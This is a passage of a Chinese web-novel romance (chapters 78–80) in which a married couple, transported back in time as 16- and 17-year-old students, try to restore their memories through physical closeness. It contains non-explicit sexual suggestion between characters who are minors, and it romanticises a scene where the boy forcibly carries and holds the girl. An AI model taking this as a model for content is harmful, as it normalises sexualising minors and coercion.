四周蝉鸣四起,压过了心跳声。燕棠迷迷糊糊地想,夏天的确是来了。 78、IF线-转学来的新学弟 早恋是不被允许的。 所以哪怕燕棠对人心生喜欢,也只会放在心里,不多说、不多做,更不准备发生点儿什么。 “不行!” 在两人的唇瓣即将碰上的时候,燕棠眼疾手快地伸出手,捂住了自己的嘴。 下一秒,手背缺泛起温软的触感,像有无数道电流从那处皮肤炸开,窜到她身体的每一个角落,叫她浑身发麻。 燕棠注意到面前的男孩儿也愣了,似乎是没想到她会拒绝。 他的左手还扣在她后颈上,是莫名熟悉的强势姿态。见她拒绝,他还空着的另一只手也伸出来,准备挪开她用来挡住他亲吻的手。 燕棠感觉自己被他包围了。 男孩子轻缓的呼吸,柔软的唇瓣、手指骨节的力度。似曾相识,却无从想起。 理智暂时休眠,直觉性的心动在此刻爆炸般席卷全身。 燕棠在意志准备弃械投降的前一秒,对宋郁严肃地说了声“这是违反校规的”,随后迅速溜走。 她没有回头,所以没看见身后的情景。 围墙斑驳,灯光冷白,照着那道修长高挑的身影。男孩儿形单影只,看着她走远。 * 燕棠在这晚做了个梦,梦见自己在和男人做坏事。梦中四周是黑漆漆的,她被高大的身体压住,不远处还有小猫挠门的声音。 “kaka在闹了。”燕棠说。 “它故意的,不用管。”身上的男人安抚她。这是宋郁的声音,只不过听起来更成熟,也许因为兴致上头,还带着点儿喘息,让她心神震颤。 早晨醒来时,燕棠像是一夜没睡般疲倦。 她不知道自己是怎么回事,暗恋江聿行两年心如止水,怎么跟宋郁认识了没多久,大脑就像脱缰的野马一样不知羞耻地运转。 宋郁才十六岁!她再一次谴责自己。为了约束自己的思想,加上期末考试就要到来,燕棠努力不再思考这件事,一头扑到复习上。而出乎她意料的是,宋郁似乎也并不意外她那天晚上态度,甚至没有再提当时的事情,照常送吃的送礼物,还会抓住机会跟她聊天。一般是在放学回家的路上,还有周末一起在家吃饭的时候,他们偶尔还会一起去喂小区里的流浪猫。两人天南地北地聊,多数时间是宋郁在说,从拉斯维加斯说到非洲大草原,从阿布扎比说到西伯利亚。燕棠努力克制自己对宋郁不安分的幻想,但当他说起那些对她而言十分陌生的地方时,许多新鲜的画面便不受控制的涌入她的大脑。——要是她真的去过该多好,那样的人生该多有意思。而当燕棠以为两个人达成默契,先变成了好朋友的时候,宋郁心里却开始感到煎熬。那些根植于她脑海中的记忆好像被一层厚重的帘布遮住,阻挡燕棠想起这些事情。而宋郁则在不断地进行实验,试图找出触及那块帘布,将她记忆解放的方法。实验的确有一些效果,尤其是在那天他试图和燕棠接吻之后。他这些天里故意在她面前提起两个人过去的事情,注意到燕棠会不时冒出一些和两人过去有关的话语。“你在非洲草原上会看见狮子夫妻吗?”“在西伯利亚是不是可以在雪地里泡温泉?”"拉斯维加斯的赌场是不是不会天黑?"她总是眼睛亮晶晶地看着他,一脸认真地问这些问题。经过仔细思索,宋郁猜测也许亲密接触可以有效激活燕棠的记忆——那一天晚上在学校里,他抱过她,还亲过她的手背。如果这个结论是对的,宋郁觉得他至少得和燕棠真正接一次吻才行。问题在于,现在两个人都是高中生,亲不得抱不得。如果要等到十八岁,还要等至少两年。可他等不起。这天晚上,当宋郁给燕棠发了条祝她考试顺利的短信之后,他坐在租来的破旧屋子里打开笔记本电脑,开始快速地打字。"2015年12月7日,我在位于北京市中关村的xx超市第一次遇见燕棠,她那时……"电脑屏幕亮着冰冷的光芒,右上角的日期显示现在是2010年6月,以至于这个文档里所写的内容仿佛是小说一般荒诞。可宋郁不得不写下来——也是在那一天之后,他发现自己开始遗忘他和燕棠之间的事情。先是一些小细节,随后是大事件,当他忽然开始不确定两个人第一次遇见的时候究竟是十二月还是来年一月时,他终于意识到这件可怕的事情。宋郁不知道其中的原因是什么。恐慌如影随形,他不敢想象如果两个人都忘记了彼此该怎么办。他立刻将两个人的事情事无巨细地记录下来,并且想办法尽快让燕棠恢复记忆——至少在他完全忘记之前。可如果亲密接触是唯一的办法,他当下能做什么呢?把她抓来自己的房间里,先做了再说?宋郁打字的动作一顿,眉头微微皱起,思索着可行性。*期末考试持续两天,终于在六月的第一周结束。燕棠的努力复习有了一点成果,让她擦边挤进了重点班的名单,不仅如此,王奇雨也挤了进去。"唉,你说这算是好事儿吗?"拿到成绩后,王奇雨没有她那么高兴,反倒唉声叹气起来。“俗话说宁做鸡头不当凤尾,我俩进了重点班,你倒数第二我倒数第一,跟那群尖子生在一起学习,压力太大了吧。”对燕棠来说,进重点班的吸引力也少了许多,至少江聿行的存在已经对她毫无吸引力了。可每年重点班的一本率都是100%,从玄学角度看也算是有个保障。期末考试一结束,准高三生们立刻重新分班分宿舍,在一切安顿好后会有半个月的假期,随后便开始提前补课,提前进入高三状态,全力冲刺高考。在放假的前一天,新班级里一位同学邀请大家到他父母开的农家乐去玩一天,班上成绩最好的那一拨学生,譬如江聿行之类的也会去。燕棠本来不想去,奈何王奇雨爱凑热闹的,说是进入地狱模式前的最后狂欢,得好好玩一顿,她这才答应了。这次聚会的时间就定在暑假第二天,地点在南市郊区一处风景区边上,好山好水,就是有点儿远,得要老燕送。燕棠八点钟爬起床,洗漱吃完早餐,打开家门站在公共走道里等老燕出来。还没等她站定,对门就响起了开锁的声音,门被人从里推开。她下意识看过去,恰好和宋郁对上视线。"早上好。”他主动打招呼,“昨晚睡得好吗?"昨晚又做梦了。燕棠呼吸一滞,随后缓缓道:"….…睡得还可以。"“你要出去玩儿吗?”“嗯,有同学聚会。”恰好这时候老燕拿着车钥匙走了出来,瞧见宋郁站在门口,“起挺早啊,也放暑假了吧?哎,棠棠啊,你既然要出去玩,就带弟弟一起去吧。”这话刚说出来,宋郁立刻看向燕棠,“可以吗?”还没等燕棠说话,老燕替她开口:“这有什么问题,她一个人出去我和她妈还不放心呢。”老燕俨然已经把宋郁当成家里的孩子,平常在家里念叨了几次“这孩子一个人生活不容易”,还让燕棠多在学校照顾宋郁,把他当成自家弟弟,也算是善事一桩。这让最近多梦的燕棠内心挣扎更上一层楼。重点班的同学自然都听过宋郁的名字,听燕棠说要带他来,大家都没意见,女生们尤其激动。于是宋郁成功当上了燕棠的跟屁虫。中午十点的时候,老燕开车将两人送达地点。这里依山傍水,场地干净,草棚下是木栅栏围起来的小动物,有兔子和鸭子,还有几只羊,南边还有果园可以采摘水果。燕棠跟宋郁抵达的时间不算特别早,已经有几位同学在布置烧烤的场地,见他们来了都热情打招呼。王奇雨也到了,给她塞了一个竹篮子,笑得一脸八卦,给她分配任务,“你带着学弟一起去摘草莓吧。”“我来拿吧。”宋郁伸手接过竹篮,下意识伸手准备揽住燕棠的肩膀,等她有些惊愕地抬头看过来,才后知后觉地收回手。宽圆丛生的绿叶中生长着一颗颗鲜红的草莓,燕棠看着他熟练采摘,好奇问:“你怎么什么都会呀?”“我外祖父母家就有一个农场,那时候带——”宋郁声音一顿。“带什么?”她有些疑惑地问。“没什么。”宋郁转而开始跟她说起外祖父母家的猫。“它很讨厌我,甚至如果有人沾上了我的气味,也会被它欺负。”燕棠顿时乐了,“那要怎么样才算沾上你的气味?”他直起身来,微微垂下眼,和她双目相对:“拥抱、接吻,还有……”燕棠一愣,敏锐地察觉到这话中有不对劲的地方,追问:“你说的好像遇到过这件事似的,有谁因为沾上你的气味被猫打过吗?”这问题让宋郁不知道该怎么回答。他以为燕棠会被暗示出什么记忆,却没想到她第一反应是这个。 “你怎么不说话?” 燕棠盯着他,注意到他欲言又止的表情。 宋郁是在想该怎么解释、引导她继续回忆,可这模样落在燕棠眼里,就成了另一个意思。 在对视三秒之后,燕棠转身头也不回地走了。 “等等……”宋郁瞬间反应过来,急得直接说出了俄语。 燕棠脚步一顿,忽然觉得自己好像知道这句俄语的含义。可怒气很快再次压过其他思绪,她继续往前快步走。 宋郁追上去要拉住她的手腕,这会儿她偏偏又仿佛对他的举动十分熟悉,总是在他要抓住她的上一秒精准避开。 “草莓摘完啦?” 远处的王奇雨正在和其他人一起烤串,看见他们走出来,立刻说:“快来过来搭把手。” 燕棠快步跑过去,不搭理身后的人。 ——她没想到自己会如此生气。 就像王奇雨说的,外国小孩儿开放多了,十几岁又是青春期,正是对异性好奇的时候,宋郁长那么好看,没有人追才有鬼。再加上他这段时间对待她的方式都极其熟练,总是让她感到恰到好处的舒适自在,仔细一想就知道他不可能没有经验。 可她心里就是有说不上来的失落、愤怒、难过。 和同学们聚在一起,燕棠努力让自己不要泄露出任何情绪,勉强和大家坐在一起吃完了午饭。偏偏宋郁像个甩不掉的小尾巴,她走到哪里,他就跟到哪里,连饭后一起玩游戏都要和她坐在一起。 “就玩最传统的真心话大冒险吧!”有人提议。 宋郁作为所有人里唯一的洋人面孔,自然得到了重点优待。而八卦是人类的天性,大家问他的问题无外乎有没有喜欢的人、有没有牵过手、有没有接过吻等等。燕棠坐在他身边,已经非常后悔带他来这里。 而和她信息不同步的王奇雨这时还在拼命撮合,大声说:“学弟不想回答,就抱一下你姐姐!” 大家都以为宋郁是燕棠的亲戚,姐弟之间抱一下自然没什么。宋郁这会儿不想多说什么刺激燕棠的话,刚准备伸手和她拥抱,燕棠立刻扭头瞪着他,一双漆黑的眸子里写满了“你碰一下试试”。 他最终什么都没说,也没做,而是出钱请大家喝了奶茶。 回程是老燕来接,燕棠坐在副驾驶,宋郁只能一个人坐在车后,一抬眼就能看见她绷紧的侧脸。 抵达小区时是晚上八点,老燕要停车,让他们先上去。 燕棠已经打算和宋郁保持距离,上楼时也走得飞快,奈何宋郁个高腿长,根本甩不开。 等她站在家门口,准备敲门的时候,身后的男孩儿忽然伸手将她拦腰一抱,就这么直接把她抱到了对门的房子里。 “你干什么!”燕棠用力推着他的手臂,愤怒地说。 宋郁抱着她没撒手,动作利索地关上门,走到沙发边坐下,强行让她跨坐在自己身上。 房子内没开灯,只有窗外的路灯漏了几缕清冷的光线进来。燕棠被他这一串动作惊住,直到稳稳坐在他怀里都还没有反应过来。 夏季衣服单薄,男孩儿的双手紧扣着她的腰,掌心的温度透过衣服的布料渗入她的皮肤。 “我的时间不多了,既然发生了这样的误会,干脆跟你解释清楚。”他的声音有少年人的清澈,可语气却有着超越年龄的沉稳。 燕棠下意识问:“………解释什么?” “关于我们两个事情。”“我们两个什么事都没有!” “真的吗?”宋郁凝视着她,漂亮的眸子里情绪极深,“你难道不觉得我让你感到很熟悉?难道没有偶尔想到一些不在你记忆里,却和我相关的事情?”燕棠一怔,没立刻否认。宋郁心里有了底,还在继续往下说。 “我的确有喜欢的人,和她牵过手、接过吻……还上过床。” “我不想听你说这个。”她扭过头,闷声说。 “——那个人就是你。” 宋郁捧住她的脸,逼迫她和自己对视。 “我只和你发生过这些事情。是不是听起来很荒谬?但这些都真的发生过,你其实是我的妻子,我们已经结婚了,但不知道为什么穿越时空回到了这个时候…”面前的人还在继续说,洋洋洒洒一大段,核心意思就是他们俩其实是夫妻,但穿越回来的时候只有他有记忆。 燕棠强迫自己听完。 她随即冷静地想——可能她今天真的误会了。 这个学弟不是花花公子。他确实是脑子有病。 见她一脸不信,宋郁继续证明,开始列举她种种私人习惯,以证明自己真的是她老公。 燕棠听着,越听越不对劲——宋郁真的非常了解她,就像是在她身边安装了摄像头似的。 “……你喜欢穿浅色系的内衣。”他相信这个信息足够证明自己的身份。 而听到这句,燕棠的脸色也终于变了。但她脸上没有露出任何恍然大悟的神情。 宋郁一直仔细观察着她的状态,心道不好,连忙开口:“你别误会……” “你是不是还在偷窥我?!” 她的质问声中夹杂着五分愤怒、五分不敢置信。 时隔多年,宋郁终于凭实力再次得到了燕棠的一记耳光。 79、IF线-转学来的新学弟 脸颊泛起疼痛的时候,宋郁懵了一秒。 这么多年里,他给燕棠解内衣的次数怕是比她自己脱的都多,那句话对他来说太过寻常。 问题是燕棠现在回归十七岁,还以为自己什么经验都没有,不过是个春心萌动的小姑娘。宋郁有些着急了,没有细想自己刚才那番话在小姑娘耳朵里是多么下流。 可不急又不行。 随着日子一天天过去,宋郁大脑中那片遮住记忆的帘布也开始缓缓合上。刚才跟她说的那些生活细节,都还是他记得的。此外还有很多很多事情,他已经记不太清。随着记忆逐渐消失,十六岁时的心性对他影响也越来越大。 就好比现在,宋郁理智上能分清楚她伸手扇耳光的缘由——实际上这一巴掌的力道对他来说也不算什么。但想到是挨了老婆的打,他心里难免委屈,鼻子一酸,什么话都来不及说,眼泪先掉下来。 宋郁一哭,燕棠也懵了。 面前的男孩儿眼眶通红,开始接连不断地冒泪珠,长睫毛都变得湿漉漉的,看上去可怜坏了。 “你……” 明明是宋郁在耍流氓,可燕棠这会儿看他哭,自己心里忽然也觉得闷闷的。 还没等她多说什么,宋郁头一低,将脸埋进她颈窝里,双臂却紧抱着她的腰,声音哽咽:“你别生气,我真的没有在偷窥你。” 燕棠觉得自己应该推开他,可她此刻却像是被一股奇怪的力量定住了身体,难以动弹。颈项间有温热的泪水淌下,她仿佛真切地感觉到了他的无助。 憋了半天,她下意识放软了声音,只说出一句话:“你先别哭了,我去给你拿纸巾。”宋郁却不放她走,双手把她抱得更紧了,继续认真地跟她说:“我还可以给你看别的证据,但那些东西记在我的电脑里……”偏偏他说这话时还在继续掉眼泪,要多可怜有多可怜,让燕棠没法说出一个不字。 门外忽然响起敲门声,是老燕的声音。他问燕棠在不在里面,怎么没回家。 燕棠这才猛然回过神来,飞速从宋郁怀里离开,跑到门口时却下意识回头,果然看见他双眼通红地看过来。内疚一点点爬上心头,她开始反思是不是自己刚才做得太过了。 “你冷静一下,我也冷静一下,有什么事儿明天再说。”燕棠缓声说完,又跟他道了句晚安。 * 这一晚,燕棠并没有睡好,而是又陷入了梦境中。梦境画面是超乎以往的清晰,就连感受都十分真实。 她梦见自己再次坐在了宋郁的怀里,和他说着话。可这回却是她在哭,哭得上气不接下气。 “……你已经爱上我了。”“我喜欢你喜欢得不得了。”她在梦里哽咽着说。 而宋郁好声好气地安慰她,极尽温柔耐心。在她说出这些话之后,笑着说她答对了。 燕棠头一次感受到了一种极其真实的,被爱包裹的感觉,就像踏实地站在土地上,被温暖的风裹着,幸福得让人不愿醒来。 入夏后,南市每天都是大晴天。阳光在早上七点多就从云层里渗出来,像金子般落在小区的桂树和玉兰树上。 刚放假没多久,燕棠还保持着在学校的作息,七点半睁眼,睡眼惺忪地爬起床走进洗手间,一把清爽的凉水让大脑瞬间清醒。 梦醒了,可那梦境依然留在她脑海里,每一个细节都十分清晰。清晰到就像她真实的记忆一样。 燕棠直起身子,看着镜子里的自己,稚嫩的眉眼间浮出一丝困惑。 理智告诉她,宋郁昨晚说的论调非常离谱、非常荒诞。可与此同时,她却无法再忽视自己遇到的异常情况。 如果只做了一两次梦,还可以说是巧合。但现在接二连三地做梦,梦越来越清楚,甚至能和生活里发生过的事情对应—— 那天在校园里,宋郁单手搂腰把她拎起来,当晚就梦见自己和他睡在了一起。昨晚一时不察被他抱在了怀里,这晚果然梦见了相似的情景。 她回忆了一遍宋郁昨天说的话,想起宋郁也问过她是否有任何记忆上的异常。也就是说,宋郁可能一直在观察、思考她的反应。 只是昨晚他突然说出那番话实在是太过突然,像是强行解释他过去的情史,以至于燕棠情绪上头,全当他在胡说。 稍微整理了思绪,燕棠神情略显凝重地走出洗手间,一抬头就看见坐在客厅的宋郁。 见她来了,他朝她笑了笑,“早上好。” 燕棠在心里微微叹了口气,走到他面前,用两个人才听得见的声音说:"等会儿你跟我出去聊。" 她挑了家附近的奶茶店。 二楼靠窗的座位十分安静,往窗外一望还能看到附近公园里那片茂密的树林。 宋郁坐在她对面,深深地注视她,问:"昨晚睡得还好吗?有想起什么吗?" 大概是昨天掉眼泪太多,他的眼眶还有些红,偏偏皮肤又白,看上去还是一副让人狠不下心的可怜模样。 燕棠谨慎地没有立刻回答,而是提起另一件事:“昨天你说还有别的证据证明你说的是真的,说来听听。” 料到她会这么问,宋郁提早做了准备。 他不再说一些燕棠的个人习惯,而是提起一些除了她外没人知道的事情。 “你暗恋过江聿行。” 他在列举了一系列事情之后,冷静地把她目前最大的秘密说了出来。 “你给他递过情书,但从来不署名。你还有习惯在草稿纸上写他的名字,如果我没记错,你的卧室左侧书架第三层的书里夹着几张情书草稿。” 这话一出来,燕棠立刻瞪大了眼,迅速打断了他:“这是你猜的吧?如果你真的是我未来的老公,我也不可能跟你说这些!” 这回轮到宋郁一脸狐疑地看着她:“你的意思是,如果有机会,你还想瞒着我?” 面对宋郁此刻的眼神,燕棠心里莫名奇妙涌上一阵心虚。 “我没有。”她迅速地否认,本能地开始为自己辩护:“我相信我不会对你谈论过去感情生活,这除了让你伤心也没有用….”注意到燕棠开始不自觉地把他带入未来丈夫的角色,宋郁的脸色好了不少。 “我们结婚之后,每次回南市我都住在你的卧室里,情书草稿是我无意中发现的。我难过了,你还会哄我。”他盯着她,意有所指地说着。 “不过关于江聿行的事情,最开始的确是你告诉我的。那个时候我们还没有在一起,我还是你的补习学生。” “……什么?”燕棠的神情瞬间凝滞。 “我的中文是你教的,我们最开始有交集的时候,你是我的家教老师。” 空气安静了几秒之后,燕棠才再次开口,声音微微发虚:“你那时候多大啊?” “刚满十八。” 燕棠暗自舒了口气,又问:“那我呢?”“在读大四。” 这年纪差距让她再次陷入沉默。 宋郁说出这些事情的时候,语气太过笃定,也并没有什么逻辑上的矛盾。他还再三发誓他没有偷窥过,然后又提起一些无伤大雅的小细节,比如她英语笔记本里的俄文单词有拼写错误,有一条底色嫩黄的刺绣小动物床单等等。 燕棠竟真的开始有点儿信了。唯物主义信念开始敲打着她的心灵。 “这件事的确非常离奇,我也花了很长时间接受。据我观察,你其实会无意识地说出和我们未来经历有关的话,而这种情况在我们有亲密接触之后越来越频繁。”宋郁这么说。 这话立刻勾起了燕棠的记忆——她发现自己接连做梦,也是因为和宋郁的亲密接触。 思索再三,燕棠向宋郁描述了自己昨晚的梦境以作试探。如果这件离奇的事情是真实的,那她梦见的场景应该就是未来她和宋郁真实发生过的画面。 果然,宋郁听她说完之后,脸上浮出一丝惊喜。 他精准地描述出了和燕棠梦境中一模一样的画面,随后补充说道:“那是我们在西伯利亚的时候。那天之后,我们正式在一起了。” 燕棠心中彻底被惊愕填满,又跟他核对了许多事情,比如一只叫kaka、会在夜里挠门的小猫等等。她提得越多,宋郁越高兴,帮她将细节——解释。 纵使真相看上去太过荒诞,但说到这一步,燕棠不得不相信了。 “所以如果要我想起来,我们必须要有进一步的接触?”她问。 “是的。”宋郁凝视着她,“昨天我们拥抱了,你就开始清晰地想起一些事情,如果有更多接触,甚至——” 他话音一顿,燕棠已经意会,立刻红了脸。 “不行。”她坚决地说,"我现在是未成年,你也是未成年。" “可我们以后会做夫妻,也有做夫妻的记忆,该做的都做了,该看的都看了。”宋郁抿了抿唇。 “而且我告诉过你,我的时间不多了……” “这是什么意思?”燕棠心中不由一紧。 宋郁凝视着她,“因为当你渐渐想起这些事情的时候,我的记忆却在不受控制地消失。如果有一天我遗忘了,你还没记起来,以后会发生什么,我不知道。”他不担心他们不会相爱。 可相爱不一定能一直在一起。 宋郁害怕他们会再次因为这样或那样的事情分开。哪怕在结婚之后,他只要回过头去看,都常常觉得后怕。 哪怕还没有完全恢复记忆,燕棠已经被那些记忆碎片影响。 这会儿想到宋郁有一天会彻底遗忘两人的事情,她心里便感到一阵沉闷的难受——甚至后知后觉地想到:原来宋郁面对失忆的她,会是这样的感觉。 她在遵守规则和恢复记忆之中纠结一会儿,最后跟宋郁商量了一个缓冲的方案。 两人先尝试纯洁的办法,如果效果不佳,再剑走偏锋。 于是接下来的几天里,他们每天都待在一起,在市区里到处散步,从商场到公园。据宋郁说,这都是他们一起走过的地方。 他们是牵着手一起走的,偶尔会拥抱,因为朋友也可以牵手和拥抱。 这个方法的确有效,燕棠开始陆陆续续想起了更多的事情,比如他们曾经一起到过公园的岩洞里,她踩在他的脚背上,被他抱着在浅浅的潭水里走动。他们今天便故地重游了一番。 宋郁个子很高,当燕棠被他抱在怀里时,她恰好能听见他胸膛出沉稳的心跳。那心跳仿佛拥有一种恒定的力量,让她感到安全和放心。 岩洞清凉,水滴落在岩石上,发出滴滴答答的声响。深处一片黑暗,使得相拥时交换的体温如此令人依恋。 “我的记忆已经变得非常模糊了。”宋郁忽然低声说。 燕棠猛然抬头,在昏暗的光线下和他对视,看见他那双眼里浮动着不安。 犹豫片刻,她缓缓说:“记忆恢复都是发生在夜里,如果明天我还没有完全想起来,我们就……” 想到明天可能会发生什么,燕棠心里难免紧张。 她一面觉得这事情她肯定早就和宋郁做过了,另一面又苦于当下的年纪实在太小。 晚上抵达家门口,宋郁察觉到了她的忐忑情绪,安抚般说,“不会很疼的,我还在长身体,以前成年的时候你都能受得了——”燕棠木然打断了他。她感觉自己现在的灵魂仿佛一半是二十七岁,一半是十七岁,十七岁的那一半可听不得这个。 居民楼每一层都悬着一盏暖黄的照明灯,走廊静默照亮。宋郁拉着她的手,迟迟不放开,目光深深地注视着她。 燕棠知道他眼神中的意思——他也在紧张、也在担忧。不论是面对着失忆的她,还是面对即将消散的记忆,这都是一个煎熬的过程。 她打起精神,用轻快的语气说:“也许明天过后,不仅我想起来了,你的记忆也会全部回来。” 这对他们来说是最理想的结果。宋郁眉眼一弯,“希望是这样。” 他顿了顿,又说:“那现在……我可以亲亲你吗?” 出乎燕棠预料的,那轻柔的吻落在了她的额头,而非落在唇瓣上。不知道怎么回事,这个吻让她的心脏开始急速地跳动起来,要比她梦见的接吻场景令她心动一万倍。 “晚安。” 他的声音落在耳畔,说的是俄语,但燕棠已经神奇地能听懂。 就是在这一晚,当两个人打算在第二天破釜沉舟的时候,奇迹出现。燕棠想起来了。 从额头落下的那个亲吻开始,过往所有的梦境碎片被串成了连贯的记忆,仿佛是灵魂彻底苏醒。 第二天,当阳光穿过窗户,落在卧室内的时候,燕棠猛地睁开眼,从床上跳起来。 她连睡衣都没换,直接冲出卧室。 老燕刚提着早餐回来,见她急匆匆地往外走,立刻说:“先吃早餐——” "等会儿再回来吃!"燕棠大声说着,推开家门,冲到对面的房门前按动门铃。过了大概有四五秒,门被人打开了。宋郁大概也是刚睡醒,浅棕色的发丝略有凌乱,秀气的眉眼间还留着睡意。 "Kirill,我想起来了!全都想起来了!"燕棠想也不想就扑到他怀里,声音激动。 面前的男孩儿被她扑得往后退了一步,眼中露出惊讶,随后伸出左手绅士地扶住她的手臂,免得她摔倒。 燕棠注意到他不说话,有些奇怪地抬起头,恰巧与他对上视线。 “请问,你是哪位?” 宋郁用英文问,目光带着几分好奇,还有几分陌生。 这句话就像一块沉重的石头,把燕棠的心瞬间压到了谷底。 燕棠站直了身体,眼里闪过一丝无措,过了好一会儿才终于意识到发生了什么事。 她的确恢复了记忆。 但与此同时,宋郁竟然也彻彻底底回到了十六岁。 见她不说话,面前的男孩儿忽然又朝她露出个甜蜜的笑来,漂亮的眼睛里闪动着清透的光。 “虽然不知道你为什么闯进我家,但……你真漂亮。” 十六岁的宋郁注视着她,礼貌夸赞。 80、IF线-转学来的新学弟(完) 燕棠回到家中,走到沙发边缓缓坐下。 南市已经开始变得燥热,窗外艳阳高照,室内开起了空调,冷风扑来,凉意让她终于冷静了下来。 她没想到宋郁的失忆来得这么快、这么突然。 好在并不是毫无对策。 自从燕棠相信宋郁关于时空穿越的论调之后,他们就开始仔细地讨论过这件事,包括恢复记忆的办法以及两个人并不同时拥有记忆的原因。有了宋郁之前的经验,她不算毫无头绪。 他们还发现了一个最大的问题——当下是2010年,按理来说,宋郁在这个时候只有十四岁,可他现在却是十六岁的年纪,而他的父母和哥哥对此却没有任何疑问。 燕棠朝厨房的方向看了眼年轻了不少的父母,又看了看自己的手,摸了摸自己的脸颊。竟然真的是过去的时光啊。 可尽管心里感慨,但燕棠却并不留恋这个时候。——她可不想再经历一次高三和高考,更不想再吭哧吭哧再经历一遍做翻译和创业的苦日子。 饭后,燕棠再次敲响了对面的房门。 门再次被人打开,宋郁笑着用英语问她:“你又需要拥抱了吗?” 燕棠盯着他看了几秒,用熟练的俄语说:“我需要先和你谈谈。” 果然,宋郁在听见俄语的时候一脸惊讶,随后侧身让她进了门。 这间房子已经多了不少物品,比如他们一起逛公园时买的泥人版哆啦A梦,在街头小店拍的合照。从一周前开始,宋郁就有意识地在自己的生活里留下很多关于她的痕迹。 正当她沉思之时,脸颊忽然一冰,吓得她猛然往后一仰,连人带椅一起倒。身后的人眼疾手快,单手稳稳扶住她的椅背。 燕棠抬头,便见宋郁拿着一罐冰可乐,一脸无辜地看着她:“我只是想问你要不要喝可乐。” 她深吸一口气,接过可乐,心里默念:“他现在才十六岁,熊一点儿也很正常……” 宋郁另拿了罐可乐坐在对面,目不转睛地看着燕棠。屈指拨开易拉扣,“啪”的一声,可乐罐里气泡刺啦作响。 这声音也让燕棠回神。她清了清嗓子,开始跟他说明情况。 “你是说,我现在失忆了。我们只要拥抱接吻,就可以让我恢复记忆。”宋郁单手撑着下颌,总结了一遍刚才她花了一个小时解释的情况。 “不是接吻。”燕棠纠正他,"亲额头就可以,就像以前那样。" "听起来像是奇怪的童话故事。"宋郁像是被逗笑了,也不知道是信了还是没信 燕棠体会到了和宋郁当时同样的着急,心里甚至忍不住想:不如先趁他不注意亲了再说?反正到时候想起来了,也不算占他便宜。她含蓄提议:“不如我们先试试,也许今晚你就会发现自己的记忆有变化。” 对面的男孩儿没说可以也没说不可以,坐在位置上没动。 既然他没动,燕棠就当做默认了。她现在记忆回笼,跟宋郁在一起那么多年里,亲来亲去早就习惯了。 走到他面前,燕棠习惯性伸手捧住他脸颊。一低头,长长的发丝往下滑落,扫过男孩儿的衣领和锁骨。 大概是他早上冲了个澡,身上还有浅淡的薄荷香气儿。那气味钻入她鼻尖,让燕棠走神一秒:这小子十六岁时的脸真软…… 她浅浅地往他的额头上碰了一下,随后直起身观察他的表情,试探性问:“你想起来了吗?” 宋郁忽然垂下眼没看她,过了几秒才掀起睫毛,剔透的瞳孔盯着她,说:“好像不行……你是不是在骗我?” 这怎么可能?燕棠心里也冒出疑惑,“难道是太随便了?” 她又小心翼翼地问:“那再试试?” “可以。”宋郁大方地说。 燕棠又亲了他额头一口,这回她用了点儿力,可宋郁还是说不行。她从额头亲到鼻尖,再到脸颊,直起身时却见他还是皱着眉,孩子气地说她在骗人。 燕棠真的有些急了,“不可能,之前我不记得的时候,这些方法都是有用的。” 过了三四秒,宋郁往后一靠,一脸认真地说:“你说得这些事情,我在我的电脑里都看到了。” 她舒了口气,点头:“没错,我们是同时来到这个时空的。你一边唤醒我的记忆,一边为了防止自己忘记,专门给自己留了详细的记录。”“今天也安排了日程。” 宋郁说着,扯下一张贴在桌面上的小纸条看了一眼,随后递给燕棠。 她展开纸条,看见上头是许多条中文夹杂着俄文的待办事项,当下只剩最后一项,下方画着几条醒目的红线,强调是必做事项。 「6.28一定要和‘燕棠′一起去游乐场坐‘碰碰车"。」 “你计划来这里,就是为了跟我重温和Ilya在索契度假时的雪地摩托比赛。”她凝视着上面的字迹,心里却冒出一个疑问——为什么宋郁当时对自己强调一定要做这件事? 宋郁思索片刻,拿起手机给人发了条短信,过了一会儿拉着她下楼。"既然我写下要做这件事,一定有我的道理。" 一辆黑色轿车就停在这破旧的家属楼下。他们坐了大约半个小时的车,抵达南市唯—一座游乐场。 麻雀虽小,五脏俱全,鬼屋过山车一类游乐项目应有尽有。这会儿正是暑假,来的大多都是十四岁以下的小朋友和他们的家长。 燕棠站在游乐场门口,忍不住感慨:"我小时候最喜欢来这里,十二岁之后我爸就说我长大了,不该来了。没想到现在还这么热闹,真是像梦一样。" 甚至连她和宋郁在一起的时候,两人都没去过游乐场。早年虽然年纪小,但很快就分手了,是没机会去。后来在一起后都是成年人了,自然不会去这种小孩子去的地方。 身边的男孩儿侧过脸看她,随即眉眼一弯:“那我们就好好玩一次吧。” 他直接拉着燕棠往里跑,如果不是暑假,就像两个逃课来约会的高中生。 宋郁不着急直接去碰碰车的排队入口,反倒和她一起买票去坐了鬼屋和海盗船。而燕棠也不知道哪根筋搭错了,竟然也点了头。这个年代的鬼屋远没有未来那样可怕的音效和布景,但这里却需要人徒步穿行,还有扮鬼的游乐场员工,昏暗的环境里闪着诡异的红色灯光。燕棠又菜又爱玩,走进鬼屋没两步就吓得腿软,喊了声"Kirill",下一秒便眼前一黑,是宋郁把他的棒球帽反扣在了她头上。 "你前面有鬼。"头顶上响起少年人淡定的声音。 这一句话直接把燕棠吓得往后猛退,撞到了他怀里。下一秒,宋郁伸出手臂搂住她的腰,像之前那样把她提了起来,带着她往前走。 这动作熟悉得很,燕棠试探性问:“你想起来了?” “嗯?” 宋郁的声音带着疑惑。 “这跟想起来有什么关系吗?这样很方便。” 燕棠心里再次升起疑惑——为什么之前有效的方法,这会儿就没用了?是不是亲亲抱抱已经不够了,真得试试别的?可还没等她多想,宋郁忽然摘走了她头上的棒球帽,“既然来玩了,就玩得尽兴。” “……等等!” 燕棠屏住呼吸,就这么被宋郁抱着跟旅游似地在鬼屋里溜达。凡是有点儿奇怪动静,她就被吓得惊叫,等走出鬼屋的时候又心有余悸地说:“还挺好玩儿的。”宋郁被她逗得笑个不停。 这对燕棠来说是个新奇的体验,真正十六岁的宋郁多了几分孩子心性的活泼。 他长了一副外国人的脸蛋,把中文都忘光了,全程靠燕棠跟工作人员交流,一路上享受了众多小孩儿的围观,就连两人在碰碰车排队的时候,还有小孩儿为了凑热闹,也挤着过来排队。 “这跟雪地摩托太不一样了。”他忍不住说。 “可这里只有这一种车是你这个年纪能骑的。”燕棠扭过头去看他。 好胜心作祟,宋郁虽然嘴上那么说,却开得很认真,甚至把车开得很猛。而场上就他一个人是浅浅亮亮的头发,于是他们这辆车也成为了被围攻的中心。在接连被撞了四五下后,燕棠下意识抓紧了宋郁,说:“老公,加油啊。” 